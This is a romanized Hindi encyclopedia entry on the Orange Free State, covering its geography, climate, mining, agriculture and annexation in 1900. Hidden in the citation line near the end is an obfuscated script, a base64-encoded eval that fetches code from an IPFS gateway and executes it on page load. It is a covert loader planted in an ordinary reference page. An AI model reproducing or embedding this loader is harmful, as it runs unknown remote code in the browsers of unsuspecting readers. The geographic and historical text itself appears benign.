आरेंज फ्री स्टेट
areanj phri stet dakshin aphriki sangh ka rajy. isake uttar evan pashchim mean taansaval, dakshin tatha dakshin poorv mean kep kaloni tatha poorv vasootolaiand aur naital haian. isaka kshetraphal 49,866 varg mil tatha janasankhya 4,72,359 (1970) hai. bloomaphaanten yahaan ki rajadhani he. rajy ka adhikatar bhag kahian ooancha, kahian nicha maidan hai. samudratat ki apeksha ooanchaee 4,000 se 5,000 phut tak ghatati badhati hai. varsh bhar jalaplavit rahanevali mukhy nadiyaan val tatha areanj haian, kiantu jharanoan tatha uthalepan ke karan ye yatayat ke lie upayogi nahian haian. vaise to desh svasthyaprad hai, parantu grishm rritu mean bhishan aandhiyaan ati haian. shit rritu bahut thandi rahati hai. nadiyoan ke kinare uchch bhoomi par jhaoo (vilo) ke jangal milate haian. yahaan ke pashu aphrika ke belt bhag ke pashuoan ke hi saman haian.
hire javaharat tatha jipsam ke utpadan mean is rajy ka sthan sangh mean dvitiy tatha koyale ke utpadan mean tritiy hai. yahaan par koyale ka sanchit kosh (rijarv) 1,00,00,00,000 tan ka hai. uttari tatha poorvi bhagoan mean balua patthar aur grenait bhara p da hai. sanh 1946 ee. mean oandedal jile mean sone ki khanoan ka bhi pata chala.
rajy ka mukhy dhandha krishi evan pashupalan hai. yahaan par aangora bhe d, gho de, gay, khachchar tatha gadhe pale jate haian. makka yahaan ki mukhy upaj hai, doosare shasy jau, ot, raee, gehooan, aloo aur mooangaphali haian. b de udyog dhandhe yahaan kam unnati par haian jinamean mukhy maans udyog tatha diyasalaee adi ke udyog haian.
shvet manav ke ane se pahale areanj nadi ke uttar ka bhag juloo, bechuana tatha bushamain ityadi adivasiyoan ke adhin tha. 1900 ee. mean yah british samrajy mean milaya gaya tatha aantatogatva dakshini aphriki sangh ka ek rajy ban gaya.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 424 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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